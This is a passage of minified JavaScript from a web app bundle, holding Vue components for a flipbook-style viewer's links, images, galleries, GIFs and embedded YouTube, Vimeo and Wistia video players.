t=Object.assign({},this.containerStyle);return t.backgroundColor=this.backgroundColor,t},classes:function(){return{link:!0,flip:this.props.highlightOnFlip,hover:this.data.highlightOnHover??this.props.highlightOnHover,highlighted:this.isHighlighted,"content-element":!0}},isVisible:function(){return!this.$store.state.text.inProgress&&this.isCurrent}},mounted(){this.isMobile&&this.$root.$on("link-highlight",this.setHighlight)},beforeDestroy(){this.isMobile&&this.$root.$off("link-highlight",this.setHighlight)},methods:{setHighlight(t){let{itemId:e}=t;e===this.data.itemId.toString(10)&&(this.isHighlighted=!0,setTimeout((()=>{this.isHighlighted=!1}),500))},tryToDecodeURI(t){try{return decodeURI(t)}catch{return t}},setCrossWideHighlight:function(t){const e=this.data.highlightOnHover??this.props.highlightOnHover;this.isHighlighted=e&&t,this.crossWideItem&&(this.crossWideItem.isHighlighted=e&&t)}}},Ve=Ze;const Ue=(0,R.Z)(Ve,He,Ne,!1,null,null,null).exports;var Ge=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("v-touch",t._g({staticClass:"content-element image",class:t.containerClasses,style:t.containerStyle},t.isEmbed?null:{tap:t.onImageClick,panstart:t.preventDefault}),[t.hasPopup?i("content-button",{style:t.iconStyles,attrs:{icon:t.iconType,size:t.iconActualSize,translate:t.iconTranslate,color:t.iconColor,"icon-size":60}}):t._e(),t._v(" "),i("div",{staticClass:"thumbsContainer"},t._l(t.cachedThumbnails,(function(t){return i("div",{key:t.id,staticClass:"thumbnail",style:t.style})})),0)],1)},Xe=[],je=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{staticClass:"content-button",class:t.buttonClasses,style:t.buttonStyles,attrs:{dir:t.dir}},[t.icon?i("svgicon",{staticClass:"content-button-icon",attrs:{focusable:"false",name:t.icon}}):t._e(),t._v(" "),t.caption?i("div",{staticClass:"content-button-caption",attrs:{dir:"ltr"}},[t._v(t._s(t.caption))]):t._e()],1)},Ye=[];const qe={name:"ContentButton",props:{icon:{type:String,default:null},caption:{type:String,default:null},size:{type:Object,required:!0,default:function(){return{}},validator:function(t){return!(0,y.o8)(t.height)&&(0,y.kE)(t.height)&&(!(0,y.o8)(t.width)&&(0,y.kE)(t.width)||!(0,y.o8)(t.maxWidth)&&(0,y.kE)(t.maxWidth))}},translate:{type:Object,default:function(){return{x:"-50%",y:"-50%"}}},color:{type:Object,default:function(){return{mainColor:"#ffffff",backgroundColor:"rgba(39, 47, 55, .6)"}}},iconSize:{type:Number,required:!1,default:60,validator:function(t){return(0,y.kE)(t)&&t>=0&&t<=100}},fontSize:{type:Number,required:!1,default:50,validator:function(t){return(0,y.kE)(t)&&t>=0&&t<=100}},cornerRadius:{type:Number,required:!1,default:100,validator:function(t){return(0,y.kE)(t)&&t>=0&&t<=100}},fitHover:{type:Boolean,default:!0,required:!1}},async created(){if(this.icon)try{await i(4186)("./"+this.icon)}catch(ao){console.log("Could not load the icon '"+this.icon+"'.")}},computed:{buttonClasses(){return{"has-icon":!!this.icon,"has-caption":!!this.caption,"no-blur":"transparent"===this.color.backgroundColor,"fit-hover":this.fitHover}},buttonHeight(){return this.size.height},buttonWidth(){return this.size.width||this.size.maxWidth},buttonSizeStyle(){return{"--button-height":this.buttonHeight,"--button-width":this.buttonWidth,width:this.size.width?this.size.width+"px":null,maxWidth:this.size.maxWidth?this.size.maxWidth+"px":null}},buttonColorStyle(){return{"--main-color":this.color.mainColor,"--background-color":this.color.backgroundColor,"--background-hover-color":this.color.backgroundHoverColor,"--background-active-color":this.color.backgroundActiveColor}},finalIconSize(){if(!this.fitHover)return Math.floor(this.buttonHeight*this.iconSize/100);let t=Math.round(this.buttonHeight*this.iconSize/100);return t%2!=0&&t++,t},finalFontSize(){if(!this.fitHover)return Math.floor(this.buttonHeight*this.fontSize/100);let t=Math.round(this.buttonHeight*this.fontSize/100);return t%2!=0&&t++,t},buttonAdditionalStyle(){return{"--icon-size":this.finalIconSize,"--font-size":this.finalFontSize,"--corner-radius-factor":this.cornerRadius/100,"--zoom-factor":this.zoomFactor,"--button-translate-x":this.translate.x,"--button-translate-y":this.translate.y}},buttonStyles(){return{...this.buttonSizeStyle,...this.buttonColorStyle,...this.buttonAdditionalStyle}},dir(){return this.$store.getters["i18n/isLocaleRtl"]?"rtl":"ltr"},zoomFactor(){return this.$store.state.pages.size.zoomFactor}}};const Ke=(0,R.Z)(qe,je,Ye,!1,null,"8e50e958",null).exports;var Qe=i(5657);const Je={extends:We,name:"ContentImage",props:[],data:function(){return{width:null,height:null,tapTimeout:0,cachedThumbnails:[]}},mounted(){this.data.originalSize?(this.width=this.data.originalSize[0],this.height=this.data.originalSize[1]):(this.width=this.containerRect.width,this.height=this.containerRect.height),this.data.preview?this.previewLoad(this.thumbnailBlob):this.$emit("ready",this)},computed:{hasPopup:function(){return!1!==this.data.popup},rawThumbnailUrl:function(){return this.previewFileName?(0,Ie.n)({filenameOrUrl:this.previewFileName}):null},containerClasses:function(){return{highlighted:this.isHighlighted,"cross-wide":!!this.crossWideItem,"hover-button":"hover"===this.iconVisibility,inline:!this.hasPopup}},isEmbed(){return this.$store.state.workspace.isEmbed},previewFileName(){const t=this.data;if(!(t.preview&&t.name&&t.sizes&&this.width&&this.height))return null;const e=(0,ae.hl)({width:this.width,height:this.height},this.containerRect),i=Math.max(e.width,e.height);if((!this.$store.getters["pager/isCurrentPage"]({pageId:t.page.id,pageSide:t.page.side})||this.$store.state.workspace.animationInProgress)&&this.$store.state.pages.size.zoomFactor>1)return null;const s=(0,Qe.F)({data:t,maxSize:i});return(0,d.Z)().getImageFileName(s)},animationInProgress:function(){return this.$store.getters["workspace/animationInProgress"]}},methods:{onImageClick:function(){!this.hasPopup||this.animationInProgress||this.isResizing||(this.$store.commit("sound/SET_MUTE_TEMPORARY",!this.$store.state.caniuse.userInteractions.firstClick),Date.now()>this.tapTimeout&&setTimeout(this.imageClick,this.$store.state.workspace.doubletapInterval+1),this.tapTimeout=Date.now()+this.$store.state.workspace.doubletapInterval)},imageClick:function(){this.$store.commit("sound/SET_MUTE_TEMPORARY",!1),this.isFrozenOrNotReady||this.isEmbed||this.$store.dispatch("lightbox/openLightbox",{type:"image",itemId:this.data.itemId,target:"content-click"})},preventDefault:function(t){t.preventDefault()},previewLoad:function(t){if(!t)return;const e=document.createElement("img");e.onload=()=>{this.$emit("ready",this),this.addHiddenThumbnail(t),setTimeout((()=>{this.makeThumbnailVisible(t)}),100)},e.onerror=t=>{this.$emit("error",this,t)},e.src=t},addHiddenThumbnail:function(t){if(!this.cachedThumbnails.some((e=>e.id===t))){const e={visibility:"visible",zIndex:-1},i={id:t,style:Object.assign({},this.getThumbnailStyle(t),e)};this.cachedThumbnails.push(i)}},makeThumbnailVisible:function(t){this.cachedThumbnails.forEach((e=>{e.id===t?(e.style.visibility="visible",e.style.zIndex=null):e.style.visibility="hidden"}))}},watch:{thumbnailBlob(t){t&&this.previewLoad(t)}},components:{ContentButton:Ke}};const ti=(0,R.Z)(Je,Ge,Xe,!1,null,null,null).exports;var ei=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",t._g({class:["content-element gallery",t.containerClasses],style:t.containerStyle},t.isEmbed?null:{tap:t.onGalleryClick,panstart:t.preventDefault}),[i("content-button",{style:t.iconStyles,attrs:{icon:t.iconType,caption:t.iconCountCaption,size:t.buttonSize,translate:t.iconTranslate,color:t.iconColor,"icon-size":60,"font-size":40}}),t._v(" "),i("div",{staticClass:"thumbsContainer"},t._l(t.cachedThumbnails,(function(t){return i("div",{key:t.id,staticClass:"thumbnail",style:t.style})})),0)],1)},ii=[];const si={large:.8,medium:.7,small:.6},oi={extends:We,name:"ContentGallery",props:[],data:function(){return{width:null,height:null,tapTimeout:0,cachedThumbnails:[]}},mounted(){this.previewData.originalSize?(this.width=this.previewData.originalSize[0],this.height=this.previewData.originalSize[1]):(this.width=this.containerRect.width,this.height=this.containerRect.height),this.data.preview?this.previewLoad(this.thumbnailBlob):this.$emit("ready",this)},computed:{previewData(){return this.data.items[0]},rawThumbnailUrl:function(){return this.previewFileName?(0,Ie.n)({filenameOrUrl:this.previewFileName}):null},containerClasses:function(){return{highlighted:this.isHighlighted,"cross-wide":!!this.crossWideItem,"hover-button":"hover"===this.iconVisibility}},isEmbed(){return this.$store.state.workspace.isEmbed},previewFileName(){const t=this.previewData;if(!(this.data.preview&&t.name&&t.sizes&&this.width&&this.height))return null;const e=(0,ae.hl)({width:this.width,height:this.height},this.containerRect),i=Math.max(e.width,e.height);if((!this.$store.getters["pager/isCurrentPage"]({pageId:this.data.page.id,pageSide:this.data.page.side})||this.$store.state.workspace.animationInProgress)&&this.$store.state.pages.size.zoomFactor>1)return null;const s=(0,Qe.F)({data:t,maxSize:i});return(0,d.Z)().getImageFileName(s)},animationInProgress:function(){return this.$store.getters["workspace/animationInProgress"]},galleryItemsCount:function(){return this.data.items.length},iconWidthLimit(){return si[this.iconSize]},iconActualSize(){const t=this.singleMode&&this.data.crossWide?this.containerRect.width-this.contentElementNonVisibleWidth:this.containerRect.width;let e=Math.min(t*this.iconWidthLimit,2*this.iconNominalSize),i=e/2;return i>this.containerRect.height*this.iconSizeLimit&&(i=this.containerRect.height*this.iconSizeLimit,e=2*i),{width:Math.round(e),height:Math.round(i)}},buttonSize(){return{maxWidth:this.iconActualSize.width,height:this.iconActualSize.height}},iconCountCaption:function(){return""+this.galleryItemsCount}},methods:{onGalleryClick:function(){this.animationInProgress||this.isResizing||(this.$store.commit("sound/SET_MUTE_TEMPORARY",!this.$store.state.caniuse.userInteractions.firstClick),Date.now()>this.tapTimeout&&setTimeout(this.galleryClick,this.$store.state.workspace.doubletapInterval+1),this.tapTimeout=Date.now()+this.$store.state.workspace.doubletapInterval)},galleryClick:function(){this.$store.commit("sound/SET_MUTE_TEMPORARY",!1),this.isFrozenOrNotReady||this.isEmbed||this.$store.dispatch("lightbox/openLightbox",{type:"gallery",itemId:this.data.itemId,target:"content-click"})},preventDefault:function(t){t.preventDefault()},previewLoad:function(t){if(!t)return;const e=document.createElement("img");e.onload=()=>{this.$emit("ready",this),this.addHiddenThumbnail(t),setTimeout((()=>{this.makeThumbnailVisible(t)}),100)},e.onerror=t=>{this.$emit("error",this,t)},e.src=t},addHiddenThumbnail:function(t){if(!this.cachedThumbnails.some((e=>e.id===t))){const e={visibility:"visible",zIndex:-1},i={id:t,style:Object.assign({},this.getThumbnailStyle(t),e)};this.cachedThumbnails.push(i)}},makeThumbnailVisible:function(t){this.cachedThumbnails.forEach((e=>{e.id===t?(e.style.visibility="visible",e.style.zIndex=null):e.style.visibility="hidden"}))}},watch:{thumbnailBlob(t){t&&this.previewLoad(t)}},components:{ContentButton:Ke}};const ri=(0,R.Z)(oi,ei,ii,!1,null,null,null).exports;var ai=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("v-touch",{staticClass:"content-element gif",class:t.containerClasses,style:t.containerStyle,on:{tap:t.onGifClick}},[i("content-button",{style:t.iconStyles,attrs:{icon:t.iconType,size:t.iconActualSize,translate:t.iconTranslate,color:t.iconColor,"icon-size":75}}),t._v(" "),i("transition",{attrs:{name:"fade-thumbnail"}},[t.rawThumbnailUrl?i("div",{directives:[{name:"show",rawName:"v-show",value:t.showThumbnail,expression:"showThumbnail"}],staticClass:"thumbnail",style:t.thumbnailStyle}):t._e()]),t._v(" "),t.isPlaying||t.isEnded?i("div",{staticClass:"image"},[i("img",{ref:"gifImg",style:t.imageStyle,attrs:{crossOrigin:t.crossOrigin,src:t.imageSrcCache}})]):t._e(),t._v(" "),t.isCurrentPage&&t.isLoading?i("div",{staticClass:"preloader",style:t.crossWideCenterIconPositionStyle},[i("spinner",{attrs:{sync:t.spreadMode&&t.data.crossWide,size:18,"line-fg-color":"#5692AE","line-bg-color":"#ffffff"}})],1):t._e(),t._v(" "),!1===t.data.loop?i("div",{staticClass:"replay",style:t.replayPositions},[i("svgicon",{attrs:{focusable:"false",name:"replay",color:"white"}})],1):t._e()],1)},ni=[];i(148);const hi=8,li={extends:We,name:"ContentGif",props:[],data:function(){return{crossOrigin:(0,d.Z)().getCrossOrigin(),isIdle:!0,isLoading:!1,isPlaying:!1,isLoaded:!1,isEnded:!1,isAutoplay:this.data.autoplay,imgWidth:null,imgHeight:null,imgRatio:null,imageSrcCache:null,preloaderTimeout:null,loopTimeout:null,tapTimeout:0}},computed:{spreadMode(){return this.$store.state.pager.spreadMode},isLocaleRtl:function(){return this.$store.getters["i18n/isLocaleRtl"]},replayPositions(){const t=this.isLocaleRtl?"left":"right",e=this.singleMode&&this.data.crossWide&&this.data.page.side!==t?this.contentElementNonVisibleWidth+hi:hi;return{bottom:hi+"px",[t]:e+"px"}},containerClasses:function(){return{autoplay:this.isAutoplay,loading:this.isLoading,playing:this.isPlaying,ended:this.isEnded,highlighted:this.isHighlighted,"cross-wide":!!this.crossWideItem,"hover-button":"hover"===this.iconVisibility}},imageStyle:function(){return{width:Math.round(this.imgWidth*this.imgRatio*this.data.scaleRatio.w)+"px",height:Math.round(this.imgHeight*this.imgRatio*this.data.scaleRatio.h)+"px"}},imageSrc:function(){const t=!1===this.data.loop?"?rand="+this.rand:"",e=(this.$store.state.workspace.policiesUpdated,(0,Ie.n)({filenameOrUrl:this.data.url,encode:!0}));return(0,d.Z)().translatePath(e+t)},rand(){return this.$store.state.content.rands[this.data.itemId]},isEmbed(){return this.$store.state.workspace.isEmbed},showThumbnail(){return!this.isEnded&&!this.isPlaying},animationInProgress(){return this.$store.state.workspace.animationInProgress},isLoadedAndVisible(){return this.isLoaded&&!this.$store.state.workspace.preloader},previewFilename(){const{previewName:t,previewFormat:e,previewSizes:i}=this.data,{width:s,height:o}=this.containerRect;if(!t||!i||!s||!o||this.$store.state.pages.size.zoomFactor>1&&(!this.isCurrentPage||this.$store.state.workspace.animationInProgress))return null;const r=(0,Qe.F)({data:{name:t,format:e,sizes:i},maxSize:Math.max(s,o)});return(0,d.Z)().getImageFileName(r)},rawThumbnailUrl:function(){const t=this.previewFilename||this.data.previewUrl;return t?(0,Ie.n)({filenameOrUrl:t}):null}},mounted:function(){(!this.data.crossWide&&!this.rand||this.data.crossWide&&!this.crossWideItem&&!1===this.data.loop)&&this.newRand(),this.updateSrcCache(),this.$nextTick(this.checkAutoplay)},watch:{isCurrentPage:"currentPageChanged",isLoadedAndVisible(t){t&&(!this.crossWideItem||this.crossWideItem.isLoaded||this.singleMode)&&(this.isLoading=!1,this.playGif(this),this.crossWideItem&&!this.singleMode&&(this.crossWideItem.isLoading=!1,this.playGif(this.crossWideItem)),this.$emit("gif:loaded",this),this.$root.$emit("gif",{action:"loaded",url:this.data.url}))},imageSrc:"updateSrcCache",animationInProgress(t){t||this.$emit("pageAnimationEnded")}},methods:{playGif(t){t.isPlaying=!0,!1===t.data.loop&&t.data.duration&&(t.loopTimeout=setTimeout((()=>{t.isPlaying=!1,t.isEnded=!0}),t.data.duration+300))},onGifClick:function(t){this.isResizing||(Date.now()>this.tapTimeout&&setTimeout((()=>{this.gifClick(t)}),this.$store.state.workspace.doubletapInterval+1),this.tapTimeout=Date.now()+this.$store.state.workspace.doubletapInterval)},gifClick:function(t){let e=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(!this.isFrozenOrNotReady&&!this.isEmbed){if(this.data.url&&this.isIdle&&!this.isLoading)this.$emit("gif:click",this),this.$root.$emit("gif",{action:"click",url:this.data.url}),this.loadGif();else if(!1===this.data.loop&&this.isEnded){const i=this.isMobile&&document.activeElement!==this.$el&&!this.isHighlighted,s=this.isMobile&&this.isHighlighted;if(!e&&!s&&(i||-1===(0,l.UZ)(t.target).indexOf("replay")))return void(i&&(this.isHighlighted=!0,this.crossWideItem&&(this.crossWideItem.isHighlighted=!0)));this.unloadGif(!e),this.$nextTick(this.loadGif),this.isMobile&&this.isHighlighted&&(this.isHighlighted=!1,this.crossWideItem&&(this.crossWideItem.isHighlighted=!1))}else(this.isPlaying||this.isLoading)&&this.unloadGif(!e&&!1===this.data.loop);this.crossWideItem&&!e&&this.crossWideItem.gifClick(null,!0)}},loadGif:function(){this.img||(this.img=document.createElement("img")),this.img.onload=()=>{clearTimeout(this.preloaderTimeout),this.imgWidth=this.img.naturalWidth,this.imgHeight=this.img.naturalHeight,this.imgRatio=Math.max(this.data.rect[0]/this.imgWidth,this.data.rect[1]/this.imgHeight),this.isLoaded=!0},this.img.onerror=t=>{this.$emit("gif:error",this,t)},this.crossOrigin&&(this.img.crossOrigin=this.crossOrigin),this.img.src=this.imageSrcCache,this.isIdle=!1,this.preloaderTimeout=setTimeout((()=>{this.isLoading=!0}),this.data.loop?200:0)},unloadGif:function(t){this.rawThumbnailUrl&&(clearTimeout(this.preloaderTimeout),clearTimeout(this.loopTimeout),this.isLoading=!1,this.isEnded=!1,this.img&&(this.img.onload=null,this.img.onerror=null,this.img.src=""),this.$refs.gifImg?.removeAttribute("src"),this.isLoaded=!1,this.isPlaying=!1,this.isAutoplay=!1,this.isIdle=!0,t&&this.newRand(),this.$emit("gif:stop",this),this.$root.$emit("gif",{action:"stop",url:this.data.url}))},checkAutoplay:function(){this.data.autoplay&&(this.data.fileSize<10485760||!this.isMobile?this.isCurrentPage&&this.loadGif():this.isAutoplay=!1)},currentPageChanged:function(t){t?this.animationInProgress?this.$once("pageAnimationEnded",(()=>{this.checkAutoplay()})):this.checkAutoplay():(this.unloadGif(!0),this.data.autoplay&&(this.isAutoplay=!0))},newRand:function(){this.$store.dispatch("content/newRand",{itemId:this.data.itemId})},updateSrcCache:function(){this.imageSrcCache===this.imageSrc||this.isLoaded||(this.imageSrcCache=this.imageSrc)}},components:{spinner:Q.Z,ContentButton:Ke}},ci=li;const di=(0,R.Z)(ci,ai,ni,!1,null,null,null).exports;var pi=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",t._g({staticClass:"content-element video",class:t.containerClasses,style:t.containerStyle},t.isEmbed?null:{tap:t.onVideoClick}),[t.isPlayerShown||t.hasError?t._e():i("content-button",{key:"content-element-icon-"+t.data.itemId,style:t.iconStyles,attrs:{icon:t.iconType,size:t.iconActualSize,translate:t.iconTranslate,color:t.iconColor,iconSize:75}}),t._v(" "),t.hasError?i("content-button",{style:t.iconStyles,attrs:{icon:"error",size:t.iconActualSize,color:t.iconColor,iconSize:75}}):t._e(),t._v(" "),i("v-touch",t._g({directives:[{name:"show",rawName:"v-show",value:t.isThumbnailShown,expression:"isThumbnailShown"}],staticClass:"thumbnail",style:t.thumbnailStyle},t.isEmbed?null:{tap:t.onVideoClick})),t._v(" "),t.isInline&&t.isPlayerShown&&!t.isModalShown?i(t.videoData.provider,{ref:"player",tag:"component",attrs:{id:t.videoData.id,itemId:t.data.itemId,url:t.videoData.originalUrl,embedUrl:t.videoData.embedUrl,accessKey:t.videoData.accessKey,width:t.containerRect.width,height:t.containerRect.height,mute:t.isMuted,start:t.videoData.startFrom,isCurrentPage:t.isCurrentPage,isIos:t.isIos,customUrl:t.videoData.customUrl}}):t._e(),t._v(" "),t.isModalShown?i("modal-window",{ref:"modalWindow",attrs:{width:t.modalRect.width,height:t.modalRect.height,bgColor:"#000",delay:150}},[t.isIos&&t.showPreventer&&"wistia"!==t.videoData.provider?i("v-touch",{ref:"touchPreventer",staticClass:"touch-preventer",class:t.videoData.provider+(t.isModalSmall?" small":""),on:{tap:t.playPause,doubletap:function(t){t.preventDefault()},pinch:function(t){t.preventDefault()}}}):t._e(),t._v(" "),i(t.videoData.provider,{ref:"player",tag:"component",style:t.modalVideoStyle,attrs:{id:t.videoData.id,itemId:t.data.itemId,url:t.videoData.originalUrl,embedUrl:t.videoData.embedUrl,accessKey:t.videoData.accessKey,width:t.modalRect.width,height:t.modalRect.height,mute:t.isMuted,start:t.videoData.startFrom,isCurrentPage:!0,isIos:t.isIos,customUrl:t.videoData.customUrl}})],1):t._e()],1)},gi=[],ui=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",[i("div",{ref:"playerMount",staticClass:"youtube-player player",attrs:{id:t.elementId}})])},fi=[],mi=i(1062),bi=i.n(mi);let Si=0;const vi=-1,wi=1,yi=2,ki=3,xi={[vi]:"unstarted",[wi]:"play",[yi]:"pause",[0]:"ended",[ki]:"buffering",[5]:"cued"},$i={name:"YoutubePlayer",props:{id:{type:[String],required:!0,default:null},itemId:{type:[Number],required:!0},url:{type:[String],required:!1,default:null},embedUrl:{type:[String],required:!1,default:null},accessKey:{type:[String],required:!1,default:null},height:{type:[Number,String],default:null},width:{type:[Number,String],default:null},mute:{type:Boolean,default:!1},start:{type:Number,default:null},options:{type:Object,default:()=>({})},isCurrentPage:{type:Boolean,default:!1},isIos:{type:Boolean,default:!1}},watch:{id:"update",width:"setSize",height:"setSize",mute:"setMute",isCurrentPage:function(t){!t||this.isPaused||this.$store.state.workspace.pausedByReader[this.itemId]||this.play()}},data:function(){return Si+=1,{elementId:`youtube-player-${Si}`,player:{},isPaused:!1}},methods:{play(){return this.player.playVideo()},pause(){return this.isPaused=!0,this.isPausedByApp=!0,this.player.pauseVideo()},stop(){return this.player.stopVideo()},update(t){this.player.loadVideoById({videoId:t})},setSize(){this.player.setSize(this.width,this.height)},setMute(t){t?this.player.mute():this.player.unMute()},setVolume:function(t){this.player.setVolume(100*t)},setCurrentTime:function(t){this.player.seekTo(t)},onReady(t){this.$emit("ready",t.target),this.setMute(this.mute),this.isIos&&this.start&&this.$once("play",(()=>{this.player.seekTo(this.start,!0)})),this.$on("play",this.startEmmitingTime),this.$on("pause",this.stopEmmitingTime),this.$on("ended",this.stopEmmitingTime),this.player.getPlayerState().then((t=>{const e=[wi,yi,ki];this.isCurrentPage&&-1===e.indexOf(t)&&this.isMobile&&!this.isIos&&this.play()}))},emitStateChange(t){if(null!==t.data&&t.data!==vi){let e;const i=this.player.getCurrentTime(),s=this.player.isMuted();"function"==typeof i.then?i.then((i=>{e=Math.round(i),s.then((i=>{this.$emit(xi[t.data],e,this.player,i)}))})):(e=Math.round(i),this.$emit(xi[t.data],e,this.player,s))}},emitError(t){this.player.isMuted().then((e=>{this.$emit("error",t,this.player,e)}))},startEmmitingTime(){this.timeInterval=setInterval((()=>{if(!this.player)return;const t=this.player.getCurrentTime(),e=this.player.isMuted();let i;"function"==typeof t.then?t.then((t=>{i=Math.round(t),e.then((t=>{this.$emit("timeupdate",i,this.player,t)}))})):(i=Math.round(t),this.$emit("timeupdate",i,this.player,e))}),1e3)},stopEmmitingTime(){clearInterval(this.timeInterval),this.$store.commit("workspace/SET_PAUSED_BY_READER",{itemId:this.itemId,value:!this.isPausedByApp}),this.isPausedByApp=null}},computed:{isMobile(){return this.$store.getters["workspace/isMobile"]}},mounted(){window.YTConfig={host:"https://www.youtube.com"};const t={autoplay:this.isCurrentPage&&!this.$store.state.workspace.pausedByReader[this.itemId]?1:0,rel:0,modestbranding:1,mute:this.mute?1:0};!this.isIos&&this.start&&(t.start=this.start),this.player=bi()(this.$refs.playerMount,{videoId:this.id,width:this.width,height:this.height,playerVars:Object.assign(t,this.options)}),this.player.on("ready",this.onReady),this.player.on("stateChange",this.emitStateChange),this.player.on("error",this.emitError),this.$parent.$on("play",this.play),this.$parent.$on("stop",this.stop),this.$parent.$on("pause",this.pause)},beforeDestroy(){null!==this.player&&this.player.destroy&&(this.player.destroy(),delete this.player),this.$off("play",this.startEmmitingTime),this.$off("pause",this.stopEmmitingTime),this.$off("ended",this.stopEmmitingTime),this.$parent.$off("play",this.play),this.$parent.$off("stop",this.stop),this.$parent.$off("pause",this.pause)}};const zi=(0,R.Z)($i,ui,fi,!1,null,null,null).exports;var Pi=i(8333);let Ci=0;function Ti(t){this.player.on(t,((e,i)=>{const s=e.seconds?Math.floor(e.seconds):e;"error"!==t?this.player.getMuted().then((e=>{this.$emit(t,s,this.player,e)})):console.log(t,e)}))}const Mi=["play","pause","ended","seeked","error","loaded","timeupdate","volumechange"],Ii={name:"VimeoPlayer",props:{id:{type:[String],required:!1,default:null},itemId:{type:[Number],required:!0},url:{type:[String],required:!1,default:null},embedUrl:{type:[String],required:!1,default:null},accessKey:{type:[String],required:!1,default:null},width:{type:[String,Number],default:null},height:{type:[String,Number],default:null},mute:{type:Boolean,default:!1},start:{type:Number,default:null},options:{type:Object,default:()=>({})},isCurrentPage:{type:Boolean,default:!1},customUrl:{type:String,default:null}},render(t){return t("div",{attrs:{class:"vimeo-player player",id:this.elementId}})},watch:{id:"update",mute:"setMute",width:"setSize",height:"setSize",isCurrentPage:function(t){!t||this.$store.state.workspace.pausedByReader[this.itemId]||this.isMobile||this.play()}},data:()=>(Ci+=1,{elementId:`vimeo-player-${Ci}`,player:null,volume:1}),computed:{isMobile(){return this.$store.getters["workspace/isMobile"]}},methods:{play(){return this.playPromise=this.player.play().catch(this.error),this.playPromise.then((()=>{this.playPromise=null})),this.playPromise},pause(){return this.playPromise?this.playPromise.then((()=>this.doPause())):this.doPause()},doPause(){return this.$store.commit("workspace/SET_PAUSED_BY_READER",{itemId:this.itemId,value:this.$store.state.workspace.pausedByReader[this.itemId]||!1}),this.player.pause().catch(this.error)},stop(){return this.player.pause().catch(this.error)},update(t){return this.player.loadVideo(t).catch(this.error)},setMute:function(t){t?(this.player.getVolume().then((t=>{this.volume=t>.1?t:.3})).catch(this.error),this.player.setMuted(!0).catch(this.error)):(this.player.setMuted(!1).catch(this.error),this.player.setVolume(this.volume).catch(this.error))},setVolume:function(t){this.player.setVolume(t).catch(this.error)},setSize(){this.player.element&&(this.player.element.width=this.width,this.player.element.height=this.height)},setCurrentTime:function(t){this.player.setCurrentTime(t)},init(){this.player.ready().then((()=>{this.start&&this.player.setCurrentTime(this.start),this.isCurrentPage&&!this.$store.state.workspace.pausedByReader[this.itemId]&&this.player.play(),this.$emit("ready",this.player),this.setMute(this.mute),Mi.forEach((t=>Ti.call(this,t)))})).catch(this.error)},error(t){if(-1!==t.message.indexOf("is not embeddable")){if(this.$el.querySelector("iframe"))return}"PasswordError"!==t.name&&"PrivacyError"!==t.name||this.player.element&&(this.$nextTick((()=>{this.player.element.focus()})),setTimeout((()=>{this.player.element.focus()}),100)),this.$emit("error",t,this.player)}},mounted(){const t={width:this.width,height:this.height,autoplay:0,autopause:0,muted:this.mute,transparent:!1,playsinline:!0};this.customUrl?(t.url=this.url,t.url+=this.accessKey?"/"+this.accessKey:""):this.embedUrl?t.url=this.embedUrl:this.accessKey?t.url="https://www.vimeo.com/"+this.id+"/"+this.accessKey:t.id=this.id,this.player=new Pi.Z(this.$el,Object.assign(t,this.options)),this.init(),this.$parent.$on("play",this.play),this.$parent.$on("stop",this.stop),this.$parent.$on("pause",this.pause)},beforeDestroy(){this.player&&this.player.unload().catch((()=>{})),this.$parent.$off("play",this.play),this.$parent.$off("stop",this.stop),this.$parent.$off("pause",this.pause)}};var Li,Ri;const Ei=(0,R.Z)(Ii,Li,Ri,!1,null,null,null).exports;var Fi=function(){var t=this,e=t.$createElement;return(t._self._c||e)("div",{key:t.elementId,class:"wistia-player player wistia_embed wistia_async_"+t.id,attrs:{id:t.elementId},on:{wheel:function(t){t.stopPropagation()},click:function(t){t.stopPropagation()},touchstart:function(t){t.stopPropagation()},touchmove:function(t){t.stopPropagation()},touchstop:function(t){t.stopPropagation()},touchcancel:function(t){t.stopPropagation()},pointerdown:function(t){t.stopPropagation()},mousedown:function(t){t.stopPropagation()}}})},Oi=[],_i=i(1042),Di=i(8531);let Wi=0;function Bi(t){this.player.bind(t,(()=>{const e=Math.floor(this.player.time());this.$emit(t,e,this.player,this.player.isMuted())}))}const Ai=["play","pause","end","seek","secondchange","volumechange"],Hi={name:"WistiaPlayer",props:{id:{type:[String],required:!1,default:null},itemId:{type:[Number],required:!0},url:{type:[String],required:!1,default:null},embedUrl:{type:[String],required:!1,default:null},accessKey:{type:[String],required:!1,default:null},width:{type:[String,Number],default:null},height:{type:[String,Number],default:null},mute:{type:Boolean,default:!1},start:{type:Number,default:null},options:{type:Object,default:()=>({})},isCurrentPage:{type:Boolean,default:!1}},watch:{id:"update",mute:"setMute",isCurrentPage:function(t){!t||this.$store.state.workspace.pausedByReader[this.itemId]||this.isMobile||this.safePlay()},height:function(t){this.player?.height(t)},width:function(t){this.player?.width(t)}},data(){return{elementId:this.generateElementId(),player:null,autoplayMissed:!1,tryNumber:0}},computed:{isMobile(){return this.$store.getters["workspace/isMobile"]}},methods:{generateElementId:function(){return Wi+=1,`wistia-player-${Wi}`},play(){return this.player.play()},safePlay(){if(this.player)return this.play();this.autoplayMissed=!0},pause(){return this.$store.commit("workspace/SET_PAUSED_BY_READER",{itemId:this.itemId,value:this.$store.state.workspace.pausedByReader[this.itemId]||!1}),this.player.pause()},stop(){return this.player.pause()},update(t){return this.player.replaceWith(t)},setMute:function(t){t?this.player?.mute():(this.player?.unmute(),this.player?.volume(1))},checkMute:function(){this.mute!==this.player.isMuted()&&this.setMute(this.mute)},setVolume:function(t){this.player.volume(t)},setCurrentTime:function(t){this.player.time(t)},onAPILoaded:function(){const t=this,e={autoPlay:this.isCurrentPage&&!this.$store.state.workspace.pausedByReader[this.itemId],silentAutoPlay:!1,googleAnalytics:!1,fullscreenOnRotateToLandscape:!1,videoFoam:!1,resumable:!1,muted:this.mute};this.start&&(e.time=(0,Di.Q$)(this.start));const i={id:this.elementId,options:Object.assign(e,this.options),onEmbedded:function(e){t.player=e,t.player.on("play",t.checkMute),Ai.forEach((e=>Bi.call(t,e))),i.onEmbedded=()=>{},i.initPlayerSkipped&&i.initPlayer()},onReady:s=>{const 